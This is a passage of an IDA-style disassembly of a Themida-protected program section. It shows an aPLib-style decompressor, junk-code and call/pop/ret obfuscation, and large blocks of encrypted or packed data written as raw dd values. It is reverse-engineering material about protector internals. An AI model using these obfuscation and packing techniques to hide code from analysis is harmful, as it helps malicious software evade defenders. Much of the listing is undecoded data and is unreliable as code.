; ---------------------------------------------------------------------------
		jmp	loc_54DE21
; ---------------------------------------------------------------------------


loc_54DDFB:				; CODE XREF: Themida_:0054DDD8j
		call	near ptr loc_54DE00+4


loc_54DE00:				; CODE XREF: Themida_:loc_54DDFBp
		add	[eax-74B00000h], al
		inc	esp
		and	al, 4
		mov	eax, [eax]
		mov	[esp+4], eax
		pop	eax
		push	0
		push	dword ptr [ebx]
		call	dword ptr [ebp+6A842B7h]
		sub	dword ptr [ebp+6A842BFh], 4


loc_54DE21:				; CODE XREF: Themida_:0054DDF6j
		jmp	loc_54DDCE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_54DC11


loc_54DE26:				; CODE XREF: sub_54DC11+DAj
					; Themida_:0054DD94j
		dec	eax
		jmp	loc_54DFD9
; END OF FUNCTION CHUNK	FOR sub_54DC11
; ---------------------------------------------------------------------------
		pusha
		mov	esi, [esp+24h]
		mov	edi, [esp+28h]
		cld
		mov	dl, 80h


loc_54DE38:				; CODE XREF: Themida_:loc_54DE50j
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi
		mov	ebx, 2


loc_54DE43:				; CODE XREF: Themida_:0054DECEj
					; Themida_:0054DF36j ...
		add	dl, dl
		jnz	loc_54DE50
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_54DE50:				; CODE XREF: Themida_:0054DE45j
		jnb	loc_54DE38
		add	dl, dl
		jnz	loc_54DE63
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_54DE63:				; CODE XREF: Themida_:0054DE58j
		jnb	loc_54DED3
		xor	eax, eax
		add	dl, dl
		jnz	loc_54DE78
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_54DE78:				; CODE XREF: Themida_:0054DE6Dj
		jnb	loc_54DFA8
		add	dl, dl
		jnz	loc_54DE8B
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_54DE8B:				; CODE XREF: Themida_:0054DE80j
		adc	eax, eax
		add	dl, dl
		jnz	loc_54DE9A
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_54DE9A:				; CODE XREF: Themida_:0054DE8Fj
		adc	eax, eax
		add	dl, dl
		jnz	loc_54DEA9
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_54DEA9:				; CODE XREF: Themida_:0054DE9Ej
		adc	eax, eax
		add	dl, dl
		jnz	loc_54DEB8
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_54DEB8:				; CODE XREF: Themida_:0054DEADj
		adc	eax, eax
		jz	loc_54DEC6
		push	edi
		sub	edi, eax
		mov	al, [edi]
		pop	edi


loc_54DEC6:				; CODE XREF: Themida_:0054DEBAj
		mov	[edi], al
		inc	edi
		mov	ebx, 2
		jmp	loc_54DE43
; ---------------------------------------------------------------------------


loc_54DED3:				; CODE XREF: Themida_:loc_54DE63j
		mov	eax, 1


loc_54DED8:				; CODE XREF: Themida_:loc_54DEF4j
		add	dl, dl
		jnz	loc_54DEE5
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_54DEE5:				; CODE XREF: Themida_:0054DEDAj
		adc	eax, eax
		add	dl, dl
		jnz	loc_54DEF4
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_54DEF4:				; CODE XREF: Themida_:0054DEE9j
		jb	loc_54DED8
		sub	eax, ebx
		mov	ebx, 1
		jnz	loc_54DF3B
		mov	ecx, 1


loc_54DF0C:				; CODE XREF: Themida_:loc_54DF28j
		add	dl, dl
		jnz	loc_54DF19
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_54DF19:				; CODE XREF: Themida_:0054DF0Ej
		adc	ecx, ecx
		add	dl, dl
		jnz	loc_54DF28
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_54DF28:				; CODE XREF: Themida_:0054DF1Dj
		jb	loc_54DF0C
		push	esi
		mov	esi, edi
		sub	esi, ebp
		rep movsb
		pop	esi
		jmp	loc_54DE43
; ---------------------------------------------------------------------------


loc_54DF3B:				; CODE XREF: Themida_:0054DF01j
		dec	eax
		shl	eax, 8
		mov	al, [esi]
		inc	esi
		mov	ebp, eax
		mov	ecx, 1


loc_54DF49:				; CODE XREF: Themida_:loc_54DF65j
		add	dl, dl
		jnz	loc_54DF56
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_54DF56:				; CODE XREF: Themida_:0054DF4Bj
		adc	ecx, ecx
		add	dl, dl
		jnz	loc_54DF65
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_54DF65:				; CODE XREF: Themida_:0054DF5Aj
		jb	loc_54DF49
		cmp	eax, 7D00h
		jnb	loc_54DF98
		cmp	eax, 500h
		jb	loc_54DF8F
		inc	ecx
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		jmp	loc_54DE43
; ---------------------------------------------------------------------------


loc_54DF8F:				; CODE XREF: Themida_:0054DF7Bj
		cmp	eax, 7Fh
		ja	loc_54DF9B


loc_54DF98:				; CODE XREF: Themida_:0054DF70j
		add	ecx, 2


loc_54DF9B:				; CODE XREF: Themida_:0054DF92j
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		jmp	loc_54DE43
; ---------------------------------------------------------------------------


loc_54DFA8:				; CODE XREF: Themida_:loc_54DE78j
		mov	al, [esi]
		inc	esi
		xor	ecx, ecx
		shr	al, 1
		jz	loc_54DFCD
		adc	ecx, 2
		mov	ebp, eax
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		mov	ebx, 1
		jmp	loc_54DE43
; ---------------------------------------------------------------------------


loc_54DFCD:				; CODE XREF: Themida_:0054DFB0j
		sub	edi, [esp+28h]
		mov	[esp+1Ch], edi
		popa
		retn	8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_54DC11


loc_54DFD9:				; CODE XREF: sub_54DC11+216j
		mov	edx, 929h
		jmp	loc_54E9B6
; END OF FUNCTION CHUNK	FOR sub_54DC11
; ---------------------------------------------------------------------------
		db 7Fh
		dd 31CD73E7h, 422DE048h, 6A247B77h, 22A07360h, 0D486B5C5h
		dd 412BD21Ch, 0B7F72B73h, 22F15E0Fh, 3AC073C1h,	5025EC0Ah
		dd 7B772960h, 2DE57472h, 0A4E5DA8Eh, 5C3FD816h,	0B7A52772h
		dd 2DF75C0Fh, 20C073C2h, 4A38F30Ah, 6769297Fh, 39F26F6Ch
		dd 9086B180h, 5C3BCF5Ah, 0B6F76A63h, 39F74941h,	26D973D4h
		dd 4438F245h, 277Fh, 62h dup(0)
		dd 7F000000h, 3BC473E7h, 4A3EFC44h, 70742960h, 21F2676Eh
		dd 9580F0CDh, 4A3C9D09h, 0A4A56572h, 28F6450Eh,	3ADC2186h
		dd 4224FC44h, 226A6032h, 32F56F78h, 8791A380h, 133D80Eh
		dd 0AED5061Dh, 29EB5104h, 3ADC738Ah, 412BFA46h,	22706032h
		dd 2DEF7267h, 998DBD80h, 0F27CF15h, 0E2E16576h,	38EB5513h
		dd 74DD21C7h, 573FFA53h, 6D767932h, 2DE17266h, 8Eh, 47h	dup(0)
		dd 7F000000h, 26CA73E7h, 4021F64Bh, 22772E60h, 2CEF6F75h
		dd 8789B880h, 4A3BDF5Ah, 0ADE32B79h, 6CFC5E14h,	3AC726D4h
		dd 52DFB43h, 7B24677Bh,	60F2756Eh, 809BA9D3h, 2570D01Fh
		dd 0A7E95B1Ah, 60FD4300h, 38C72686h, 52EF445h, 64247D7Bh
		dd 60ED6F73h, 9B85B5CDh, 4E7EC408h, 0B0A56F79h,	2DEC4304h
		dd 2D8927D4h, 538E045h,	656B7B62h, 6EED6173h, 61h dup(0)
		dd 7F000000h, 31C53AE0h, 5725F60Ah, 76747C60h, 6EA16464h
		dd 9D808480h, 5D2E9D09h, 0A3F76C78h, 2DF0100Ch,	31CB73D5h
		dd 486AFB4Fh, 726D6773h, 34E16C74h, 95C8B4C5h, 427ED914h
		dd 0A7E77276h, 38F13D6Bh, 3D892081h, 462FF344h,	22606C66h
		dd 21A07963h, 86818680h, 407ECE0Fh, 0B0E62B65h,	29F35300h
		dd 897DC2h, 539FC42h, 67686074h, 2EEF7721h, 83C8A487h
		dd 0F35CF15h, 0AFFC6576h, 62FD420Eh, 0E0h dup(0)
		dd 57000000h, 6D754E4Ch, 734C4C44h, 746F7250h, 3000h, 8	dup(0)
		dd 69784500h, 74532074h, 73757461h, 25203D20h, 64h, 0
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_54DC11


loc_54E9B6:				; CODE XREF: sub_54DC11+3CDj
		jmp	loc_5514E7
; END OF FUNCTION CHUNK	FOR sub_54DC11
; ---------------------------------------------------------------------------
		clc
		cld
		clc
		mov	eax, eax
		stc
		cmp	dword ptr [ebp+6A81ED9h], 0
		jnz	short loc_54E9D3
		cmp	dword ptr [ebp+6A82DE9h], 0
		jz	short loc_54E9E6


loc_54E9D3:				; CODE XREF: Themida_:0054E9C8j
		push	eax
		push	ebx
		mov	eax, eax
		mov	eax, 1
		lea	ebx, [ebp+6AAA04Eh]
		call	ebx
		pop	ebx
		pop	eax


loc_54E9E6:				; CODE XREF: Themida_:0054E9D1j
		cmp	dword ptr [ebp+6A82DE9h], 0
		jz	short loc_54EA00
		push	eax
		push	ebx
		mov	eax, 1
		lea	ebx, [ebp+6AA9EFFh]
		call	ebx
		pop	ebx
		pop	eax


loc_54EA00:				; CODE XREF: Themida_:0054E9EDj
		mov	[ebp+6A831B5h],	esi
		xor	[ebp+6A810E5h],	esi
		mov	eax, eax
		push	0
		push	esi
		call	sub_54EA19
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_54EA19	proc near		; CODE XREF: Themida_:0054EA11p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Dh
		inc	esi
		push	esi
		retn
sub_54EA19	endp

; ---------------------------------------------------------------------------
		db 45h,	0E5h, 9Dh
		dd 0BEFFFED1h, 8BCD9A26h, 85BD83D1h, 6A82Ch, 1AD840Fh
		dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h
		dd 53430000h, 838C6AC3h, 0A82E09BDh, 840F0006h,	183h, 0C307BA66h
		dd 0C9DE8060h, 2E09858Bh, 6A06A8h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 160424h, 55450000h, 0D457FBC3h, 0D19529h
		dd 0E80506A8h, 0E9000003h, 5, 0D677D216h, 0D48A5095h, 66240489h
		dd 8D609ABAh, 0A84F9085h, 52006A06h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1D04h,	0C3524200h, 0FC872E79h
		dd 1CC02062h, 9D23D8DFh, 6A819EDh, 13E950h, 787E0000h
		dd 4C33850Eh, 122ECA72h, 0DE15BC69h, 0A4FE74EFh, 24048929h
		dd 1009958Bh, 858D06A8h, 6A84F6Eh, 50D9B70Fh, 6E8h, 9D328E00h
		dd 50FF84C8h, 0F5B5752h, 860F31h, 5A000000h, 4895B58h
		dd 95FFF824h, 6A82235h,	1AD19589h, 665606A8h, 8E1FD381h
		dd 0CC4835Bh, 310D9D33h, 953306A8h, 6A80EB5h, 4F6E858Dh
		dd 958B06A8h, 6A81525h,	24048950h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Ah, 4FC35646h, 3A9C828h, 840F7CE2h
		dd 6, 3015958Bh, 26A06A8h, 0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 15h, 0C8C35646h, 8E8ECh, 0A5590000h, 8510C311h
		dd 0DB81F885h, 2F816A95h, 46C6805Bh, 0ED1495FFh, 0BE8006Ah
		dd 54000000h, 0D22A40C0h, 6B108923h, 8589B023h,	6A8017Dh
		dd 0B70F615Bh, 458509D2h, 0C706A822h, 0A84FA185h, 106h
		dd 57006A00h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1404h
		dd 0C3574700h, 525096CAh, 6E8h,	9675B100h, 66EAEB13h, 5B2A64BBh
		dd 0D48A310Fh, 6650585Ah, 96CBB7BBh, 0E858D89h,	0BE806A8h
		dd 13000000h, 0CEC8C7BBh, 0D5A3B0E3h, 958B6655h, 6A82D6Dh
		dd 52B5895Ah, 6606A84Fh, 0BD83D08Bh, 6A8339Dh, 4A850F01h
		dd 6A000000h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 17042444h, 45000000h, 0AA93C355h, 0AE95C92h,	0E9000000h
		dd 8F21432Fh, 0AE1E69F4h, 839DB74Dh, 850F05F8h,	11h, 0C328F281h
		dd 0B864E6h, 89000000h,	0A81B95B5h, 51BD8306h, 6A817h
		dd 72840Fh, 6A0000h, 3E850h, 58200000h,	448958C3h, 44810424h
		dd 170424h, 50400000h, 6AFCFC3h, 8B66602Dh, 5195FFD6h
		dd 8B06A817h, 0A8329D9Dh, 6A6106h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 1A0424h, 51410000h, 18081BC3h, 0E42FF445h
		dd 15B58B60h, 8B06A821h, 11E961F0h, 16000000h, 7F5E4376h
		dd 0A423BF01h, 0C2B63E7Ch, 78DD733Dh, 198DBD83h, 0F0006A8h
		dd 2F84h, 0B8FC00h, 6A000000h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 19042444h, 45000000h, 83FFC355h, 2D04A8C9h
		dd 33819533h, 0F78A06A8h, 56006A60h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1B04h,	0C3564600h, 0F50F3F9Bh
		dd 0FF3E57D5h, 2651958Bh, 9D8906A8h, 6A831D9h, 0D19858Bh
		dd 0C08306A8h, 89BFB202h, 0A84F4A85h, 0D59D8906h, 0C606A800h
		dd 0C6F9FF00h, 0A815D585h, 0B5895306h, 6A81711h, 25AA2768h
		dd 0D7FBAC5h, 348174CEh, 94E2FF24h, 0D68B6639h,	1C18DA81h
		dd 0B5FF3C14h, 6A80F95h, 6880Fh, 0BD290000h, 6A80BCDh
		dd 6971858Dh, 6A06ABh, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 1D0424h, 50400000h, 19D0ADC3h, 0EF2C1203h, 60383432h
		dd 1B3D9589h, 858B06A8h, 6A83381h, 60D0FF61h, 14D68166h
		dd 61D98AB9h, 8990EA80h, 0A81B3185h, 56006A06h,	3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1704h,	0C3564600h, 68E7872Fh
		dd 33D58529h, 0BD8306A8h, 6A80E35h, 0B4850F01h,	0F000000h
		dd 686h, 49952300h, 0B06A81Ah, 0A805AD9Dh, 0BF0F6106h
		dd 0D585C6D9h, 4506A815h, 69F3BA66h, 4CC6A668h,	2404819Ah
		dd 4013721Ch, 6800Fh, 9D890000h, 6A82CD5h, 0BB19D8Bh, 0B5FF06A8h
		dd 6A80F95h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 1Dh,	91C35747h, 0E4979CF7h, 0DE31CB4Bh, 8D50B7D3h, 0AB697185h
		dd 0B1853106h, 0FF06A82Fh, 11B9BBD0h, 6A70FDh, 3169958Bh
		dd 0D0FF06A8h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 1Dh,	9DC35545h, 1113C433h, 0D2D293C1h, 19B589FBh, 8306A831h
		dd 0A82B25BDh, 850F0106h, 0CEh,	0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 15h, 28C35242h, 19858BD0h, 6A06A80Dh
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 15042444h
		dd 42000000h, 0AFDBC352h, 74E9h, 50006A00h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1604h,	0C3504000h, 8BAD1ADFh
		dd 0A8007195h, 5E89006h, 0C6000000h, 0E4009226h, 52505250h
		dd 585A310Fh, 0DE8B310Fh, 505A585Ah, 6690D38Bh,	6A7C54BAh
		dd 11E914h, 96910000h, 399B4957h, 0DCFD68B9h, 1B7C2F3Ch
		dd 0FFB136FCh, 0A81B3195h, 8880F06h, 51000000h,	0F9D8D89h
		dd 585A06A8h, 3880F9h, 0FFA7850Fh, 0C780FFFFh, 100C6ECh
		dd 32299533h, 6A6106A8h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1C042444h, 47000000h, 14A0C357h, 0F6EC19A3h
		dd 8948CC1Fh, 0A82E418Dh, 0F5BD8306h, 6A80Ah, 43840Fh
		dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h
		dd 55450000h, 6AB466C3h, 8E8FFh, 614F0000h, 0DF3999C4h
		dd 85017F1Fh, 6A81489h,	3195FF5Ah, 0F906A81Bh, 0FFFFDEE9h
		dd 0F8BA66FFh, 0F585C7F8h, 106A80Ah, 6A000000h,	3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1C042444h, 40000000h
		dd 0F5C3C350h, 52CEC921h, 605AFB51h, 7E8h, 80F67700h, 0C58D8ABh
		dd 830Fh, 8B5A0000h, 0A81ABD85h, 85896106h, 6A84F56h, 6810Fh
		dd 958B0000h, 6A820D9h,	14E9h, 0C9609000h, 0F318F69Fh
		dd 0F08BB39Ch, 1FAEC082h, 0F660B734h, 8B66506Bh, 240489D8h
		dd 2F0D9D8Bh, 0B50906A8h, 6A83389h, 35958960h, 6A06A807h
		dd 57006A05h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1C04h
		dd 0C3574700h, 3B2ADB5Ch, 5A1B72AFh, 0D38B6688h, 4F6E858Dh
		dd 6A06A8h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h
		dd 51410000h, 56CE85C3h, 5D9D8BFFh, 5006A807h, 8D0F5160h
		dd 0
; ---------------------------------------------------------------------------
		pop	eax
		popa
		mov	[esp], eax
		mov	edx, 5175E5E5h
		lea	eax, [ebp+6A84F5Eh]
		jmp	loc_54F185
; ---------------------------------------------------------------------------
		db 46h,	2Ch, 43h
		dd 44D0624Ch, 5074392Ch
		db 77h
; ---------------------------------------------------------------------------


loc_54F185:				; CODE XREF: Themida_:0054F174j
		nop
		push	edi
		mov	bx, 1BFBh
		pop	edx
		push	eax
		pusha
		mov	ah, 0AEh
		popa
		nop
		mov	ebx, [ebp+6A80515h]
		call	dword ptr [ebp+6A81AC9h]
		push	eax
		jnb	loc_54F1A7
		mov	ebx, esi


loc_54F1A7:				; CODE XREF: Themida_:0054F19Fj
		pop	ebx
		lea	ecx, [ebp+6A87A64h]
		jmp	loc_54F1C0
; ---------------------------------------------------------------------------
		db 62h
		dd 1E76BBB4h, 8406A45Dh, 0F9A08F2Dh
; ---------------------------------------------------------------------------


loc_54F1C0:				; CODE XREF: Themida_:0054F1AEj
		or	eax, eax
		jz	short loc_54F1D5
		lea	eax, [ebp+6A84F6Eh]
		push	eax
		call	ecx
		mov	[ebp+6A84F8Ch],	eax
		jmp	short loc_54F1DF
; ---------------------------------------------------------------------------


loc_54F1D5:				; CODE XREF: Themida_:0054F1C2j
		mov	dword ptr [ebp+6A84F8Ch], 0FFFFFFFFh


loc_54F1DF:				; CODE XREF: Themida_:0054F1D3j
		push	0
		push	edx
		call	sub_54F1EA
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_54F1EA	proc near		; CODE XREF: Themida_:0054F1E2p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Dh
		inc	edx
		push	edx
		retn
sub_54F1EA	endp

; ---------------------------------------------------------------------------
		dw 55E0h
; ---------------------------------------------------------------------------
		inc	ebx
		mov	dword ptr [eax+794DFB12h], 5CCB810Ch
		push	ss
		adc	eax, [esi+61h]
		mov	edx, [ebp+6A83375h]
		mov	byte ptr [ebp+6A815D5h], 4Dh
		jnz	loc_54F224
		mov	edx, [ebp+6A80BADh]


loc_54F224:				; CODE XREF: Themida_:0054F218j
		push	0AE07F0B4h
		jns	loc_54F233
		mov	dx, 4399h


loc_54F233:				; CODE XREF: Themida_:0054F229j
		xor	dword ptr [esp], 0A32861Ch
		xor	dx, 0F5E1h
		push	dword ptr [ebp+6A80DB5h]
		pusha
		mov	[ebp+6A819D1h],	eax
		mov	ecx, [ebp+6A81B39h]
		popa
		lea	eax, [ebp+6AB6971h]
		xor	dx, 0A2B7h
		call	eax
		mov	dx, bx
		mov	[ebp+6A8142Dh],	eax
		push	0
		push	ecx
		call	sub_54F274
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_54F274	proc near		; CODE XREF: Themida_:0054F26Cp

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 18h
		inc	ecx
		push	ecx
		retn
sub_54F274	endp

; ---------------------------------------------------------------------------
		inc	ecx
		xchg	eax, ecx
		xchg	eax, ecx
		inc	ecx
		inc	edx
		mov	byte ptr [ebp+6A815D5h], 45h
		sub	[ebp+6A80635h],	edi
		push	0B82ABFE8h
		mov	ebx, 75E09614h
		xor	dword ptr [esp], 3658D681h
		push	0
		push	eax
		call	sub_54F2B2
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_54F2B2	proc near		; CODE XREF: Themida_:0054F2AAp

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 15h
		inc	eax
		push	eax
		retn
sub_54F2B2	endp

; ---------------------------------------------------------------------------
		dw 3973h
		dd 958BB1B7h, 6A83025h,	0F95B5FFh, 0B1B606A8h, 6971858Dh
		dd 0B58906ABh, 6A8166Dh, 8B0FD0FFh, 6, 1E398D89h, 858906A8h
		dd 6A80081h, 3409BD89h,	0D28B06A8h, 68E0Fh, 0B5890000h
		dd 6A827B5h, 92DA8166h,	0D98C661Ah, 188A0Fh, 0CE80000h
		dd 0ED000000h, 0AFB01FCAh, 0EB7B4E51h, 8945CEF2h, 0A815CDBDh
		dd 0C1F65B06h, 0F7840F04h, 0E9000001h, 7, 5CF358C5h, 0E95C4F28h
		dd 0FAh, 7E8h, 970F7100h, 0B36C0EE1h, 0BE8h, 0EE931D00h
		dd 0D87105C7h, 0D819E7AEh, 344F03BAh, 8B5A5A58h, 0A80725B5h
		dd 51006A06h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1604h
		dd 0C3514100h, 0F73F2EEh, 0C681D1BFh, 1180h, 0F79958Bh
		dd 0BD8306A8h, 6A81FE5h, 0E850F00h, 23000000h, 0A8215195h
		dd 5FE906h, 0B70F0000h,	3E83D1h, 53840Fh, 0B5890000h, 6A82A81h
		dd 0B98D8960h, 6A06A819h, 65952314h, 0FF06A816h, 0A81B3195h
		dd 56006A06h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1704h
		dd 0C3564600h, 50184D88h, 0B49BD89h, 316106A8h,	0A80FAD8Dh
		dd 0FFABE906h, 0BB50FFFFh, 69F824CCh, 106C75Ah,	6A000000h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1D042444h
		dd 45000000h, 894EC355h, 0D57CA95h, 97312284h, 0BD83D88Bh
		dd 6A84F56h, 0DF850F05h, 8B000000h, 0A833199Dh,	81B58B06h
		dd 6A06A800h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 19042444h, 42000000h, 87F3C352h, 8CC48EEBh, 51D958Bh
		dd 64B906A8h, 0B7000000h, 358D8966h, 8006A833h,	840FE83Eh
		dd 38h,	0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 15h
		dd 55C35040h, 119589B8h, 0E906A817h, 22h, 0BE9h, 0D5962F00h
		dd 9E3B5BEAh, 0D4BD8B9Eh, 0C2057E80h, 4C840Fh, 23510000h
		dd 0A8338995h, 6A465A06h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 18042444h, 46000000h, 2E5DC356h, 664C50E3h
		dd 4983D9BAh, 0FF81850Fh, 0CE9FFFFh, 59000000h,	4F09FA41h
		dd 702715B7h, 0E98A35FCh, 0Ah, 0B589D38Bh, 6A81995h, 6A5843B6h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 16042444h
		dd 47000000h, 0DD46C357h, 9185896Dh, 2906A81Bh,	0A8159D8Dh
		dd 0C5BD8306h, 6A828h, 19C840Fh, 89530000h, 0A80F1D85h
		dd 89605A06h, 0A833F985h, 0D585C606h, 5406A815h, 8850Fh
		dd 0F510000h, 83h, 63685A00h, 8BE542D0h, 243481D6h, 1A0C6E97h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 91C35545h
		dd 0C88B4B24h, 0E2C35B52h, 0AAD8589h, 0B5FF06A8h, 6A80F95h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 57C35747h
		dd 8DF5C841h, 0AB697185h, 56006A06h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1704h,	0C3564600h, 23431125h
		dd 6AD0FFh, 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h
		dd 50400000h, 95E6DCC3h, 0A5E59D91h, 6830FD5h, 8B000000h
		dd 0A8171195h, 0BE666006h, 8B0F2C0Bh, 4, 385FB866h, 6A006A61h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 15042444h
		dd 45000000h, 443BC355h, 0AE9h,	9AFF3A00h, 0B406547Ch
		dd 0FF37877Fh, 0A828C5B5h, 51006A06h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1D04h,	0C3514100h, 0F9650019h
		dd 0EB196865h, 0D0FF3EE8h, 0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 1Bh, 0B0C35040h, 25875D13h, 0FF9DA0Dh, 1683h
		dd 11E900h, 0A67C0000h,	0BD3E25AEh, 5166AEA9h, 84BF0C27h
		dd 6137CE54h, 0BE8h, 0E61ADE00h, 0DFF242CBh, 0B47B31DEh
		dd 525BDF8Bh, 0E6EA8166h, 85C75A69h, 6A80C91h, 1, 0FE8h
		dd 85BCF900h, 2400D289h, 0CA2E7248h, 4F4BC92h, 0CE8h, 0FA6F9B00h
		dd 38420937h, 4911CB6Bh, 9D85318Dh, 5B06A81Dh, 0F381605Ah
		dd 3A3CDF7Bh, 26DCD068h, 2434811Dh, 1D26DC50h, 0CE9h, 0D64B2100h
		dd 0C951B001h, 2497DC9Eh, 51FF6A01h, 5860Fh, 81660000h
		dd 5A287DF2h, 9019D09h,	95FF06A8h, 6A80F89h, 1EA99503h
		dd 576106A8h, 5B5DB653h, 0B650905Bh, 8B609037h,	0A82B0D85h
		dd 0BE906h, 48BC0000h, 1E48201Ah, 2A3A9EFFh, 858B61E4h
		dd 6A82EE1h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 1Bh,	99C35141h, 58C6FA3Ch, 0B1D12BAh, 3A840FC0h, 6A000000h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1B042444h
		dd 46000000h, 62BEC356h, 4F85521Ah, 0D88AD773h,	0BAFAF381h
		dd 0DA804E22h, 6995FF5Dh, 8906A802h, 0A805DDBDh, 7585C706h
		dd 106A82Ch, 0F000000h,	787h, 0C4BB5700h, 5A762CDAh, 1A89BD83h
		dd 0F0006A8h, 6584h, 50006A00h,	3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1604h, 0C3504000h, 0E84E2D1Dh, 0Eh, 0A9C3386Ah
		dd 7C3F52A4h, 9FBB0B8Bh, 85096748h, 6A829D9h, 195FF5Bh
		dd 6A06A82Eh, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 19042444h, 42000000h, 0AD7CC352h, 2E454A89h,	321D9D01h
		dd 0BD8306A8h, 6A82085h, 32840F00h, 6A000000h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1A042444h, 41000000h
		dd 54B6C351h, 9C0A7E40h, 24BB6638h, 0B195FF40h,	8B06A821h
		dd 0A81EDD95h, 2DBD8306h, 6A801h, 2A840Fh, 9D230000h, 6A814DDh
		dd 6D9BD83h, 0F0006A8h,	1785h, 0EB816600h, 95FF99E4h, 6A82789h
		dd 7E9h, 0F3F26E00h, 12A9A9FEh,	1775BD83h, 0F0006A8h, 1F84h
		dd 1D9D2300h, 8106A806h, 0A807B585h, 400306h, 8148B600h
		dd 0A80FD585h, 400306h,	1CEA8000h, 9589310Fh, 6A82B69h
		dd 5F128D8Dh, 6A06A8h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 1A0424h, 53430000h, 5246F5C3h, 2C1D19h, 12E8h, 5F6A4600h
		dd 0ABC65F88h, 0BBDD5CF6h, 0E5E49939h, 0B25B3B06h, 1895BDEh
		dd 0E658589h, 0C23306A8h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 1Ch, 31C35545h, 0DF7060E1h, 9CA288CCh, 5BD78B51h
		dd 44189F9h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 14h,	7CC35646h, 8FD0DA81h, 0BDBA7BE4h, 0F229A2Bh, 44F28131h
		dd 8D630211h, 0A85F1E8Dh, 898D8906h, 8906A831h,	0E9B58901h
		dd 3306A810h, 44189C2h,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 1Ch, 81C35242h, 9EC3A50h, 74D48079h, 0BD83B5B3h
		dd 6A80FC5h, 39840F00h,	60000000h, 5E8h, 66995B00h, 0BF0F8D9Ah
		dd 0CE85BD2h, 3A000000h, 6AED6799h, 0B4AC1034h,	0B996191Dh
		dd 3226E564h, 9D8B615Ah, 6A81FF9h, 31BD95FFh, 9D8906A8h
